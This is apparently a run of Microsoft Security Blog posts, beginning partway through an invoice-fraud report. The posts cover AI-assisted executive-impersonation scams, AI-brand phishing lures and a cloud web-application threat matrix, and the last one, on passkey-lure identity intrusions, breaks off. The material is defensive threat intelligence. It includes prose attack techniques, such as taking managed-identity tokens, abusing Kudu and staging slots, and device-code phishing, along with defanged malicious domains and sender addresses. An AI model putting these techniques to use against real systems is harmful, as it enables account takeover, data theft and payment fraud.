From a defender point of view there are several indicators within the email indicating that the email and the “forwarded” thread are not genuine.

• “From” headers from the spoofed thread lack any data headers like actual forwarded emails.

• Suspicious language used in the spoofed thread such as “no need to copy me”.
• Suspicious language in headers i.e display name not matching sender address, subjects using financial lure keywords like ‘due bill’, ‘ACH Parment’ etc.
• Despite the sophistication of the generated content, several inconsistencies remained visible to defenders
• In real email threads, the previous threads are normally tabbed or otherwise visually grouped, while the previous threads in this example were left aligned.
• An additional inconsistency was observed where the targeted company’s CEO requested the recipient to send the invoice directly to victims and not CC the sender. However, in the most recent thread, the CEO stated that the invoice is approved and the invoice is sent from his address.

Domain registration

Before initiating the campaign, the threat actor registered several domains. A ‘ServiceNow’ lookalike domain service-nowinc[.]com was registered on July 31, shortly before the campaign activity was observed. This domain was used for the spoofed email address of ServiceNow President. It was also used in several places in the fabricated invoice such as in the contact email in case of any questions. The actor also registered another domain on the same day. The domain domainlify[.]net was used in the Reply-To email.

Figure 7. Account information linked with email of impersonated domain. Generative AI usage

Microsoft observed several indicators consistent with AI-assisted template development. These included extensive HTML comments, structured section labeling, and highly uniform template construction. While these indicators suggest generative AI involvement, they do not independently establish the extent to which AI generated campaign content.

Examples:

Figure 8. Code snippet showing a verbose HTML comment describing a section (a characteristic commonly observed in AI-generated code). Figure 9. Another code snippet showing extensive comments on HTML style elements and sections.

Additionally, the use of ‘em dash’ (“—”) and banner ‘===========’ have also become other indicators associated with AI usage.

Figure 10. Another code example indicating AI usage. This example shows a verbose capitalized section header and yet more style elements excessively commented.

One possible indication of template-based generation is that invoice identifiers and narrative structure remained largely consistent across samples while organization-specific details changed between targets.

Mitigation and protection guidance

Microsoft provides layered protection against this type of executive-impersonation and invoice-fraud campaign. Properly configured email authentication, spoof protection, mail-flow connectors, and Microsoft Defender for Office 365 help identify and block suspicious messages before delivery; messages later determined to be malicious can be quarantined or removed through post-delivery remediation, including Zero-hour Auto Purge. Security teams can then use Microsoft Defender XDR and Security Copilot to investigate related alerts, affected users, and campaign indicators, coordinate response, and take remediation actions.

Together, these capabilities help reduce the likelihood that fraudulent payment requests reach finance personnel and support faster containment if a message is delivered.

To defend against social engineering campaigns involving executive impersonation, invoice fraud, and potentially AI-assisted content development, Microsoft recommends the following mitigations:

Configure automatic attack disruption in Microsoft Defender XDR. Automatic attack disruption is designed to contain attacks in progress, limit the impact on an organization’s assets, and provide more time for security teams to remediate the attack fully.

Enable Zero-hour auto purge (ZAP) in Office 365 to quarantine sent mail in response to newly acquired threat intelligence and retroactively neutralize malicious phishing, spam, or malware messages that have already been delivered to mailboxes.

Invest in advanced anti-phishing solutions that monitor and scan incoming emails and visited websites. For example, organizations can leverage web browsers like Microsoft Edge that automatically identify and block malicious websites, including those used in this phishing campaign, and solutions that detect and block malicious emails, links, and files.

These links provide information on how to properly configure mail flow with connectors:

• Manage mail flow using a third-party cloud service with Exchange Online
• Configure mail flow using connectors in Exchange Online
• Mail flow rules (transport rules) in Exchange Online
• Enhanced filtering for connectors in Exchange Online

These links provide information on configuring SPF, DKIM, and DMARC:

• Email authentication in cloud organizations
• Set up SPF to identify valid email sources for your custom cloud domains
• Set up DKIM to sign mail from your cloud domain

Microsoft Defender detections

Microsoft Defender customers can refer to the list of applicable detections below. Microsoft Defender coordinates detection, prevention, investigation, and response across endpoints, identities, email, and apps to provide integrated protection against attacks like the threat discussed in this blog.

Tactic Observed activity Microsoft Defender coverage Financial TheftScam emailsMicrosoft Defender for Office 365
– Invoice scams delivered detected as Spam and malicious categories.
– Email messages marked malicious removed after delivery and spam moved to quarantine
– Email messages removed after delivery
– Messages retroactively removed through Zero-hour Auto Purge (ZAP). Microsoft Security Copilot

Security Copilot customers can use the standalone experience to create their own prompts or run the following prebuilt promptbooks to automate incident response or investigation tasks related to this threat:

• Incident investigation
• Microsoft User analysis
• Threat actor profile
• Threat Intelligence 360 report based on MDTI article
• Vulnerability impact assessment

Note that some promptbooks require access to plugins for Microsoft products such as Microsoft Defender XDR or Microsoft Sentinel.

Threat intelligence reports

Microsoft Defender XDR customers can use Threat Analytics reports in the Defender portal (requires license for at least one Defender XDR product) to get the most up-to-date information about the malicious activity and techniques discussed in this blog. These reports provide the intelligence, protection information, and recommended actions to prevent, mitigate, or respond to associated threats found in customer environments.

MITRE ATT&CK Techniques observed

This threat has exhibited use of the following attack techniques. For standard industry documentation about these techniques, refer to the MITRE ATT&CK framework.

Reconnaissance

T1591 – Gather Victim Organization Information
Threat actors collect publicly available information about target organizations, executives, finance personnel, vendors, and business relationships to build convincing invoice-fraud narratives.

T1598 – Phishing for Information
Information gathered from victims and public sources is used to craft highly targeted business email compromise (BEC) lures.

Resource Development

T1583.001 – Acquire Infrastructure: Domains
Threat actors register domains that impersonate trusted organizations, vendors, or business partners.

T1585.002 – Establish Accounts: Email Accounts
Attacker-controlled email accounts are created to support impersonation and fraudulent communications.

T1583 – Acquire Infrastructure
Third-party email delivery infrastructure and supporting services are leveraged to distribute campaigns.

Initial Access

T1566 – Phishing
Targeted phishing emails are delivered to finance personnel using executive and vendor impersonation themes.

T1566.001 – Spearphishing Attachment
Fraudulent invoices or supporting documents are attached to phishing emails.

T1566.003 – Spearphishing via Service
Third-party email services are used to distribute phishing messages and improve legitimacy.

Defense evasion

T1036 – Masquerading
Attackers disguise emails, domains, invoices, and business correspondence as legitimate communications.

T1656 – Impersonation
Executives, vendors, and trusted business entities are impersonated to establish credibility and influence payment decisions.

Impact

T1657 – Financial Theft
Victims are deceived into transferring funds to attacker-controlled financial accounts through fraudulent invoice payment requests.

Indicators of compromise (IOC) IndicatorTypeDescriptionservice-nowinc[.]com Domain Domain impersonating ServiceNow gomez@service-nowinc[.]comEmail address Email address associated with bank account notifications@uinsure[.]co[.]uk info@tivityhealth[.]com no-reply@lumalisboa[.]com noreply@mctci[.]com info@nuf[.]co[.]jp info@lohnsteuerhilfe-aktuell-verein[.]de info@tovimbatista[.]pt contact@eemusicclass[.]co[.]uk info@lifeones[.]comEmail addressSender email address used to send out emailsdomainlify[.]netDomainNewly registered domain used in Reply-to address Learn More

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn, X (formerly Twitter), and Bluesky.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

Review our documentation to learn more about our real-time protection capabilities and see how to enable them within your organization.  

• Learn more about securing Copilot Studio agents with Microsoft Defender 
• Evaluate your AI readiness with our latest Zero Trust for AI workshop.
• Microsoft 365 Copilot AI security documentation
• How Microsoft discovers and mitigates evolving attacks against AI guardrails

• How Microsoft discovers and mitigates evolving attacks against AI guardrails | Microsoft Security Blog
• Manipulating AI memory for profit: The rise of AI Recommendation Poisoning | Microsoft Security Blog – a related example of an AI-era technique observed in email traffic
• Defending the inbox against prompt injection attacks | Microsoft Defender for Office 365 Blog – feature announcement introducing prompt injection protection in Microsoft Defender for Office 365.
• Prompt injection protection in Microsoft Defender for Office 365 – official documentation of the prompt injection protection in Microsoft Defender for Office 365.

The post Protecting organizations from AI-assisted executive impersonation and invoice fraud appeared first on Microsoft Security Blog.

Every wave of technology excitement creates a new opportunity for cyberattackers, and AI is no exception. Microsoft Threat Intelligence has published research showing a growing set of campaigns that impersonate popular AI platforms and tools, including ChatGPT, Microsoft Copilot, DeepSeek, and Claude.1 The goal is to make phishing, search-driven malware campaigns, and malvertising—which is malicious advertising that uses online ads to lure users to harmful sites, downloads, or redirect chains—more convincing. A ChatGPT-themed phishing campaign sent up to 100,000 emails in a single day, tricking users into updating their ChatGPT Plus payment information and stealing personal and credit card data. These campaigns do not represent a compromise of the AI services being referenced. They represent something more familiar—cyberattackers doing what they have always done: borrowing trust. Right now, AI brands can carry significant trust and curiosity, making them attractive themes for cyberattackers to exploit.

Prevent and disrupt cyberthreats with Microsoft Defender

Understanding why this trend matters and what it means for security teams is critical to shaping a modern protection strategy. The tactics are the same ones cyberattackers have always refined: urgency, curiosity, and impersonation of something familiar to lower a user’s guard. What has changed is the wrapper. A message about a new model release, a policy update from a familiar AI assistant, or a plugin that promises to make the workday easier is today’s version of the fake invoice or the shipping notification. AI-themed lures deserve attention not because they are a passing trend tied to one product cycle, but because AI remains a genuine source of excitement and urgency for employees and consumers alike, and cyberattackers are exploiting the human instinct to explore what is new, useful, or urgent.

The attack pattern is evolving

Microsoft’s research team recently observed several AI brand campaigns including:

• A ChatGPT-themed phishing kit built to harvest credit card data.
• A Claude-themed campaign that harvested credentials and access tokens through adversary-in-the-middle (AiTM) techniques.
• Malvertising for a fake AI Windows plugin that delivered the Vidar stealer.
• Fraudulent DeepSeek installers distributed through GitHub.

In one case, an initial access broker tracked as Storm-3075 used AI-themed malvertising to distribute payloads for multiple downstream actors, a sign of how quickly this tactic is being commoditized across the criminal ecosystem.

Figure 1. Snippet of the top portion of the email impersonating ChatGPT and enticing users to click on the link.

What ties these campaigns together is not sophistication in the traditional sense. It is patience and precision in exploiting a moment. Threat actors are capitalizing on anticipated launches and emerging trends, layering multi-stage redirection chains and disposable infrastructure to slip past both users and defenses. That has real implications for security leaders: it means these incidents cannot be evaluated one surface at a time. A single AI-themed lure can begin as an email, become a malicious link, trigger a suspicious download, and end as an identity or endpoint compromise. Organizations that assess each of those as an isolated event are always a step behind. Organizations that connect them see the full shape of the cyberattack, often early enough to stop it.

Turning AI lures into dead ends with Microsoft Defender

In practice, protection starts before the user ever engages with the lure. Microsoft Defender’s anti-phishing policies can help detect spoofing and impersonation attempts, including user and domain impersonation, first-contact messages, mailbox intelligence signals, and other suspicious sender characteristics. For an AI-themed lure, that might look like a fake “Copilot policy update,” a spoofed support notice, or a lookalike domain designed to make a credential collection page feel legitimate.

If the campaign relies on links, Defender’s Safe Links provides URL scanning and detonation during mail flow, plus time-of-click verification when a user selects a link in email, Microsoft Teams, or supported Microsoft 365 apps. That is important when cyberattackers use redirect chains, delayed activation, or links that appear benign at delivery but later resolve to phishing infrastructure, fake sign-in pages, or malicious downloads.

For campaigns that use fake installers, malicious downloads, or weaponized attachments, Safe Attachments adds another layer by detonating attachments in a virtual environment before delivery when policies are configured. For example, if a message promotes a “new AI plugin” but includes a harmful attachment, Safe Attachments can analyze the file for malware, ransomware, or phishing behavior before it reaches the user. If a cyberthreat is identified after delivery, Defender’s post-delivery filtering capabilities help remove malicious content from mailboxes and reduce the window of exposure.

Figure 2. Simplified Defender email detection stack with pre-delivery and post-delivery protections. Protect against multi-stage attacks with attack disruption

But AI-powered attacks don’t stop at email. Their objective is to gain the highest level of access possible, using compromised accounts as a foothold to move across identities, devices, and data. When a cyberattack moves beyond the inbox, Defender helps connect the evidence. Signals from email and collaboration tools, endpoints, identities, and software as a service (SaaS) apps are correlated into an attack story so analysts can see whether the same lure led to a clicked link, a downloaded payload, risky sign-in behavior, or endpoint activity.

As cyberattackers expand beyond email to gain broader access across the environment, Defender moves from detection to disruption. For multi-stage, multi-domain attacks like business email compromise or AiTM, Defender’s powerful, built-in response capability, attack disruption, will contain the compromised asset during the attack to prevent further lateral movement while security teams investigate and remediate. Attack disruption contains more than 81,000 compromised user accounts monthly and is now disrupting more than 45,000 AiTM attacks each month.

Figure 3. Recent attack disruption statistics. (Source: Internal Microsoft Research, September 2026)

In a recent case study, Defender disrupted a business email compromise attack within four minutes of the initial activity (Figure 4). While response times may vary by scenario, this case shows the impact of attack disruption on a real cyberthreat. The cyberattacker used a convincing document-sharing lure to trick a user to start a legitimate Microsoft device code sign-in flow, which avoided traditional credential theft techniques. Defender recognized the resulting device code authentication and follow-on activity as suspicious, correlated signals across identity and email telemetry, and disrupted the attack within four minutes before the attacker could establish persistence, create inbox rules, or execute payroll fraud.

Figure 4. Business email compromise attack through OAuth device code phishing. The takeaway

AI brands are the new bait, but the underlying lesson is bigger than any single campaign. As cyberattackers continue to exploit the momentum around AI, organizations should expect social engineering to become more targeted, more believable, and more difficult to evaluate in isolation.

The answer is not to treat every new lure as a brand-new category of risk. It is to build a protection model that makes trust harder to exploit across the full attack chain. Microsoft Defender helps organizations do that by connecting prevention, detection, investigation, and response across the attack path, so AI-themed lures are harder to deliver, harder to trust, and harder to turn into broader compromise.

Learn more about Microsoft Defender

To learn more about Microsoft Security solutions, visit our website. Bookmark the Security blog to keep up with our expert coverage on security matters. Also, follow us on LinkedIn (Microsoft Security) and X (@MSFTSecurity) for the latest news and updates on cybersecurity.

1AI brands as bait: How threat actors are using the AI hype in social engineering, Microsoft Threat Intelligence. June 8, 2026.

The post Detect and disrupt AI-themed attacks with Microsoft Defender appeared first on Microsoft Security Blog.

In this article

1. Overview
2. Technique Catalog
3. Privilege Escalation
4. Mitigation and protection guidance
5. References
6. Learn more

Microsoft introduces the cloud web applications threat matrix, a MITRE ATT&CK-aligned framework that helps defenders understand, prioritize, and mitigate threats to cloud-hosted web apps and serverless platforms.

Cloud-hosted web applications and serverless platforms create attack paths that can cross application code, managed runtimes, workload identities, deployment pipelines, and connected cloud resources. Investigating the application and underlying cloud platform separately can leave gaps in how defenders understand those paths.

Microsoft developed the Cloud web applications threat matrix to organize relevant techniques using MITRE ATT&CK tactics. The matrix can help security teams assess visibility gaps, prioritize hardening, and plan investigations across cloud-native environments. This blog introduces the framework, examines selected techniques, and outlines defensive priorities for reducing exposure.

Overview

Cloud-hosted web applications and serverless platforms let teams deploy and scale application logic quickly, but they also create attack paths that cross application code, managed runtimes, identities, deployment pipelines, and connected cloud services. These paths can be difficult to detect when the application layer and underlying cloud platform are investigated separately.

To provide a clear and consistent view of the threat landscape affecting cloud hosted web applications and serverless environments, we organize techniques using the MITRE ATT&CK format. Building on Microsoft’s previously published threat matrices for Kubernetes and storage services, this matrix expands coverage for cloud web applications– applications that execute code in a managed environment, are often tightly integrated with other cloud resources, and are commonly exposed to the internet.

The attack techniques presented in this matrix are divided into the following tactics, aligned with the MITRE ATT&CK framework:

• Resource Development

• Initial Access

• Execution

• Persistence

• Privilege Escalation

• Defense Evasion

• Credential Access

• Discovery

• Lateral Movement

• Collection

• Impact

Figure 1. Cloud web applications threat matrix organized by MITRE ATT&CK tactics. Technique Catalog

Below, we walk through each tactic and describe its techniques in more detail.

Resource Development

The resource development tactic consists of techniques that adversaries use to establish resources they can use to support operations. This may include acquiring infrastructure, developing capabilities, or compromising resources that can later be used during targeting.

Subdomain takeover

Deleting a cloud application or service without removing its associated DNS record pointed to a reusable provider endpoint can create a subdomain takeover risk. Depending on the provider’s behavior, service configuration, and naming constraints, a threat actor may be able to register a resource that claims the same address and intercept traffic intended for the original service, potentially serving malicious content or harvesting credentials.

Initial Access

The initial access tactic consists of techniques that are used for gaining access to cloud web applications and serverless environments. This access can be achieved through compromised credentials, vulnerable applications, misconfigured interfaces, or by exploiting connected resources.

Application vulnerability

Running a public-facing web application that hosts a vulnerable application can enable adversaries to access and execute code in the context of the web application, or to access internal resources and gain a foothold in the cloud environment. Such vulnerabilities could stem from the application’s own code, its underlying framework, or third-party libraries and dependencies it uses.

Code injection in connected repository

Threat actors may inject malicious code into source repositories that are linked to cloud web applications or serverless functions. If these repositories are automatically synced with production environments, the injected code executes under the legitimate workflows.

For example, if a threat actor gains commit permissions to a GitHub repository that is configured to deploy GCP Cloud Functions through Cloud Build triggers, their code may be deployed into the application through the legitimate pipeline.

Compromised image in registry

Some cloud web applications are deployed from a container image pulled from private or public registries. Threat actors who get access to a private registry can plant their own compromised images or update an existing image with malicious code, which will run the next time the web application pulls the container image.

Exposed/misconfigured admin interfaces

Some cloud-based web applications expose administrative interfaces for managing deployments, configurations, or runtime operations. If these interfaces are exposed to the internet or misconfigured, threat actors might be able to access them and view critical data, execute commands, or manipulate application behavior.

For example, if an Azure App Service exposes its Kudu interface to the internet, a threat actor with sufficient credentials could execute commands in the app’s environment.

Serverless trigger injection

In cases where the application executes backend workflows in response to event-driven triggers, an end user who can directly or indirectly influence those triggers may cause unintended activity within the application. By manipulating inputs such as crafted file uploads, queue messages, API calls, or other event sources, a threat actor can force serverless functions to run with their supplied data, which could lead to unintended code execution, data access, or further compromise.

For example, a threat actor might upload a modified image file containing a crafted payload through a legitimate web form. The image is then stored in an S3 bucket, which triggers an AWS Lambda function configured to process new uploads. If the function handles the file without proper validation, the threat actors payload could cause unintended behavior or even lead to remote code execution.

Using deployment credentials

In some cloud web applications, deployment credentials can grant management access beyond publishing new code. Adversaries who obtain such credentials might be able to use them to directly interact with the application without modifying its source code.

Azure App Service, compromised deployment credentials can allow access to deployment and SCM (Source code management) interfaces, which may enable file access, command execution, or application modification depending on the app configuration and credential scope.

Execution

The execution tactic consists of techniques that are used by threat actors to run their code inside cloud web applications and serverless environments.

Application exploit (remote code execution)

Deployed web applications that contain a remote code execution vulnerability, or a vulnerability that could eventually lead to code execution, can enable threat actors to run malicious code in the web application context. If the application has access to any additional resources, then the threat actor could access those as well.

Cloud native terminal

Some cloud platforms provide built-in administrative consoles or SSH-style terminals for running commands directly inside the application’s execution environment. Threat actors who gain access to the terminal may be able to extract data, edit the web app files and execute commands.

For example, Azure App Services expose a Kudu console that acts as a built-in terminal; if threat actors obtain deployment credentials, they can use it to browse files, execute commands, and tamper with application code.

Site extensions

Site extensions are an Azure App Services feature that allows users to install additional tools and utilities onto their web application. These extensions run within the context of the App Service and have the same permissions as the application itself – including requests data, file system access and environment variables. Site extensions are installed from a NuGet-based feed that allows third-party package submissions. If threat actors publish a malicious extension that resembles a legitimate package, or compromise an existing package, users who mistakes the package for a trusted extension may install it, allowing the threat actors code to run in the application context.

Persistence

The persistence tactic consists of techniques that are used by threat actors to maintain access to cloud web applications in case their initial foothold is lost.

Cron jobs

In cases where a cloud application uses scheduled or trigger-based tasks, a threat actor with the ability to create or modify such jobs can cause their malicious code to execute automatically. Because these jobs can run independently of normal request flows and often inherit the application’s privileges, control over a scheduled or event-triggered job allows persistent execution even if the main application code is updated.

For example, if a threat actor is able to create or modify a WebJob in Azure App Service, their code will periodically run on the web application, regardless of changes or updates to the application code itself.

Source code modification

A threat actor with access to a development environment may be able to modify the application’s source – which could reside in a git repository, a container image in a registry, or a deployment package in cloud storage. Because cloud web applications are typically deployed through automated pipelines, a single modification can propagate automatically into production, causing the threat actors code to run every time the application restarts. These changes become part of the application’s canonical source, meaning that even if the runtime environment is rebuilt or scaled, the tainted code is redeployed from the same trusted source, maintaining the threat actor access to the application.

Valid cloud accounts

Adversaries may gain access to cloud web applications and serverless environments by leveraging compromised valid cloud accounts. Using legitimate credentials allows threat actors to interact with such services without raising suspicion. This enables them to deploy or modify application code, configure triggers, and maintain control over workloads.

For example, a threat actor who compromises an Entra ID user with sufficient owner-level permissions on a subscription may be able to read or modify function app resources within that scope, subject to resource and policy controls.

Privilege Escalation

The privilege escalation tactic consists of techniques that are used by threat actors to get higher privileges in the environment than those they currently have. This can include accessing workload identity credentials or leveraging application permissions to access additional cloud resources.

Access cloud resources

Web apps deployed in the cloud often run with identities or service accounts that have permissions over additional cloud resources in the environment such as storage, databases and AI services. Additionally, some applications store connection strings or keys to cloud resources in the app configuration files or environment variables. Therefore, if threat actors compromise the application, they can often extract or leverage these credentials to access additional cloud resources.

Access workload identity credentials

Workload identities are identities that are managed by the cloud provider and can be allocated to cloud resources. The identity’s secret is fully managed by the cloud provider, which eliminates the need to manage the credentials. Web apps can use workload identities to perform actions on other cloud resources by querying Instance Metadata Service (IMDS) or similar endpoints. Threat actors who gain access to a web app can leverage their access to the IMDS endpoint to get the workload identity’s token. With a token, the threat actors can access cloud resources.

For example, in Azure App Services, the managed identity access token can be acquired through a local identity endpoint, which is defined in the environment variables (IDENTITY_ENDPOINT). If a threat actor is able to execute code on such an App Service instance, they would be able to query the endpoint and receive an access token to other Azure resources with the managed identity permissions.

Defense Evasion

The defense evasion tactic consists of techniques that are used by threat actors to avoid detection and hide their activity.

Development slots

Many cloud platforms and serverless environments support staging or preview environments (such as deployment slots in Azure App Services, aliases in AWS Lambda, or revision tags in GCP Cloud Run), which allow developers to test and stage new versions of their applications before swapping them into production. These environments can be swapped or promoted with minimal downtime. If a threat actor gains the ability to modify or promote a non-production environment, they may execute malicious code or gain insights into the application’s structure and behavior. In some cases, these staged environments are directly accessible without a swap, meaning a threat actor could execute code in a staging slot or alternate version and potentially evade detection, since the primary production deployment remains untouched.

For example, in Azure App Service, a threat actor who obtains permissions to manage a staging deployment slot could either swap it into production, thus pushing malicious code live, or exploit the slot’s separate URL to run the malicious app without modifying the production’s code.

Disable cloud logging

Threat actors with appropriate permissions may disable or alter cloud logging to hide their actions and avoid detection. This can include turning off diagnostic logging on a web application, deleting or modifying existing log data, changing log retention policies to accelerate log expiration, or redirecting log output. By suppressing logging, the threat actor reduces the visibility that defenders have into ongoing malicious activity, making it harder to detect the compromise, perform incident response, or reconstruct the attack timeline.

Credential Access

The credential access tactic consists of techniques that are used by threat actors to steal credentials. In cloud web application environments, this includes credentials of the running application, workload identities, secrets stored in configuration, or cloud credentials.

Brute force

Some web applications or interfaces may still use basic authentication, either for user access, administrative functions, or deployment interfaces. A threat actor could try to gain access by repeatedly attempting credential combinations, and upon finding valid credentials, use them to access and use the relevant privileges.

For example, Azure App Service exposes the Kudu management console (the SCM site) and FTP endpoints that support basic authentication. This includes user‑scoped deployment credentials, which are manually set by the user and shared across all App Services within a subscription that the user has access to. If a threat actor is able to successfully guess those credentials, they could gain deployment access to multiple applications in the subscription.

Cloud credentials in runtime environment

Some web applications store secrets such as keys, tokens, and connection strings in environment variables or configuration files. In cloud environments, those secrets are often used to access additional cloud services within the environment. If a threat actor gains access, even read-only, to the running application environment, they would be able to retrieve those credentials and use them to authenticate against those external cloud resources.

For example, an Azure Function configured to authenticate to Azure OpenAI with a resource key may store that key and the service endpoint in application settings exposed as environment variables. a threat actor who accesses those variables could use the key to make authorized data-plane API requests to the associated Azure OpenAI resource.

Discovery

The discovery tactic consists of techniques that are used by threat actors to explore the environment to which they gained access. This exploration helps the threat actors to perform lateral movement and gain access to additional resources.

Access to connected cloud storage

Cloud applications often use external storage services for hosting source code, configuration files or assets. Threat actors may exploit misconfigured or compromised read access to this storage to review the code and configuration to find vulnerabilities or sensitive information that could be exploited to take over the application.

For example, in GCP Cloud Run functions, the function code is saved into a bucket in the project. If a threat actor compromised a user with storage read access, they would be able to view the source code.

Cloud service discovery

Cloud‑hosted applications often contain configuration values or runtime information that reference other cloud services the application interacts with, such as service URLs, API endpoints, database connection strings, or resource identifiers. After gaining access to a web application, threat actors can discover additional cloud resources through environment variables, network connections or application code.

Instance metadata API

Cloud platforms expose metadata services that provide information about the running environment, such as instance details, network configuration, and identity credentials. In some cases, this service is available from within cloud web applications as well. Threat actors who gain access to such an application may query the metadata API service to get information about the underlying VM and the application environment.

Lateral Movement

The lateral movement tactic consists of techniques that are used by threat actors to move through the victim’s environment. In cloud web application environments, this includes gaining access to connected cloud resources, third-party services, or internal network resources.

Connector reuse

Cloud applications may use managed connectors or integration resources to interact with third-party services such as email providers, SaaS platforms, databases, or messaging systems. These connectors sometimes store authentication or authorization details – such as OAuth tokens and access keys, that are separate from the web application’s own identity and thus could be reused across multiple applications. A threat actor who compromises a user or identity with permissions over the connector resource can invoke those stored credentials to access the connected third-party services, enabling lateral movement beyond the cloud environment.

For example, in Azure Logic Apps, API connections are standalone resources that store authenticated sessions to external services, such as Office 365, Slack, or SQL databases. A threat actor with sufficient permissions on the resource group can create a new app that uses existing API connectors, triggering actions on the connected services using the stored credentials without needing to extract the underlying secrets.

Collection

The collection tactic consists of techniques that are used by threat actors to collect data from cloud web applications or connected resources.

Access application database

Many applications rely on a connected database to store application data, user information, configuration values, or state. The application often connects to the database by using the application’s cloud identity, or by using a hardcoded connection string. If a threat actor gains code execution abilities, they can interact with the database – query and extract data or modify entries. In cases where the database is accessible from the internet, threat actors may only need read permissions over the web app to access the database.

Event data capture

Cloud applications often generate logs that include diagnostic data, request metadata, or user input. Due to misconfigured logging levels or insufficient filtering, these logs may inadvertently contain sensitive information such as credentials, personally identifiable information (PII), or details about the application environment, including internal paths, dependency versions, and cloud resource names. This information could assist adversaries in furthering their attacks. Logs may be stored locally, streamed to external services, or accessed through debugging interfaces. Logs may be stored locally, streamed to external services, or accessed via debugging interfaces. If a threat actor gains access to the application or its logging infrastructure, they can collect this data to aid further exploitation or reconnaissance.

For example, AWS Lambda functions automatically send all standard output to CloudWatch Logs. If verbose or debug-level logging is misconfigured and left enabled in production, sensitive data may end up in the log group. A threat actor who gains read access to CloudWatch can then harvest this information.

Impact

The impact tactic consists of techniques that are used by threat actors to destroy, abuse, or disrupt the normal behavior of cloud web applications and their environments.

Data destruction

Threat actors who gain sufficient privileges within a cloud web application may delete or corrupt data stored in the app or in connected cloud resources such as databases and storage.

Data theft

If threat actors gain access to the application, its storage, or connected cloud resources, they may be able to retrieve data stored or processed by the application. This includes application content, user information, configuration files, or proprietary content.

Defacement

Adversaries may attempt to alter the web application’s content or appearance to damage reputation, intimidate victims or spread propaganda. This could be done through access to the application itself, to the source code or any assets it uses.

Denial of wallet

Cloud applications often scale dynamically based on demand, incurring costs for compute, storage, and data transfer. Threat actors may intentionally trigger operations that will cause those resources to scale out to impose financial damage. One such approach is to flood a web application with requests, similar to traditional denial-of-service (DoS) attacks. This will cause the application to allocate more resources, thus causing increased charges.

For example, a threat actor could repeatedly invoke a Cloud Function with high memory allocation, leading to inflated billing due to excessive execution time.

Resource hijacking

Threat actors may leverage the compute, network, or storage resources of the application for unauthorized purposes, such as cryptocurrency mining, mass scanning, or traffic proxying.

Mitigation and protection guidance

As organizations adopt cloud-native and serverless architectures, defending against these threats requires visibility across both application behavior and underlying cloud resources. The cloud web applications threat matrix is intended to support this by mapping techniques to attack stages, helping defenders identify where visibility exists and where gaps remain.

Mitigation strategies for individual techniques are detailed within the matrix. Across the matrix, recurring priorities include requiring multifactor authentication, applying least-privilege permissions to users and workloads, and restricting access to applications, deployment environments, and connected resources.

Organizations should also protect source repositories, build systems, and deployment pipelines from unauthorized changes, and install packages and extensions only from trusted sources. Reusable credentials should not be stored in source code or configuration files. Workload identities and secrets management solutions should be used where supported, while network access to sensitive services should be limited to authorized networks.

To support investigation, organizations should centralize security-relevant logs in protected locations and prevent unauthorized changes to logging configurations. Resource quotas, concurrency limits, cost guardrails, and spending alerts can help reduce the impact of resource hijacking and denial-of-wallet activity. Organizations should also maintain and test backup and recovery plans to prepare for destructive operations.

Microsoft Defender for Cloud and Microsoft Defender XDR can support investigation and response across many related signals, including cloud resource posture, workload activity, identity activity, and cross-domain incidents, depending on customer configuration and available telemetry.

References

• Threat Matrix for Cloud Web Applications

• MITRE ATT&CK®

• Threat Matrix for Kubernetes

• Threat Matrix for Storage Services

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn, X (formerly Twitter), and Bluesky.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

Review our documentation to learn more about our real-time protection capabilities and see how to enable them within your organization.  

• Evaluate your AI readiness with our latest Zero Trust for AI workshop.
• Microsoft 365 Copilot AI security documentation
• How Microsoft discovers and mitigates evolving attacks against AI guardrails
• Learn more about securing Copilot Studio agents with Microsoft Defender 

The post Threat Matrix: Mapping threats across cloud web applications appeared first on Microsoft Security Blog.

In this article

1. Attack chain overview
2. Attribution
3. Mitigation and protection guidance
4. Learn more

Microsoft Security Research is tracking active cloud-based intrusions spanning multiple accounts in which unusual sign-ins were followed by threat actor-added authentication methods, high-volume Microsoft Graph activity, SharePoint and OneDrive downloads, and email collection through REST APIs. Microsoft Security Research assesses that this sequence is consistent with automated collection from compromised cloud identities using proxy-associated infrastructure, the activity has been observed since May 2026.

The activity begins with identity-focused social engineering and impersonation infrastructure, proceeds through authentication persistence and cloud reconnaissance, and is followed by targeted data access and activity consistent with data collection and potential exfiltration. Domains, IP addresses, and hosting providers can change quickly, but the recurring sequence of identity compromise, persistence, reconnaissance, content discovery, and exfiltration provides a more durable basis for investigation. Defenders should investigate this sequence across identity, Microsoft Graph, SharePoint, OneDrive, and Exchange signals, then revoke sessions and remove unauthorized authentication methods for confirmed compromises.

Attack chain overview Figure 1. Observed attack sequence showing identity compromise through social engineering, MFA persistence, Microsoft Graph reconnaissance, and cloud data collection/exfiltration. Step 1-2 : Initial access: Passkey and SSO lures

The attack often begins with a seemingly routine call or message on a user’s personal phone number from someone claiming to be from the organization’s IT helpdesk. The caller creates a sense of urgency, explaining that a passkey, multifactor authentication (MFA), or single sign-on (SSO) configuration must be updated immediately to avoid disruption. Employees are directed to a website that closely resembles a legitimate Microsoft sign-in experience and may receive the link through SMS messages sent directly to their personal mobile phones.

Despite the frequent use of passkey-themed lures, passkey enrollment is often not the actor’s true objective. Instead, the passkey narrative serves as a convincing pretext to guide victims through adversary-in-the-middle (AiTM) phishing or device-code authentication flows. In AiTM scenarios, the actor captures credentials and session tokens; in device code attacks, the victim unknowingly authorizes access on the actor’s behalf. This initial interaction may leave very little forensic evidence. If the victim opens the phishing link on a personal mobile device that is not onboarded to Microsoft Defender for Endpoint, the related activity may be absent from endpoint telemetry.

In many investigations, the employee’s recollection of a phone call or text message becomes the earliest and sometimes the only evidence explaining how the compromise began. As a result, investigators must often reconstruct the attack by connecting these reports with subsequent sign-ins, device code authentication events, token activity, and authentication method changes.

Reconnaissance on targeted organization

The actor appears to invest heavily in pre-attack research, likely gathering information about employees and organizational structure from public sources such as social networking and professional profiling platforms.

Reusable domains, personalized targeting

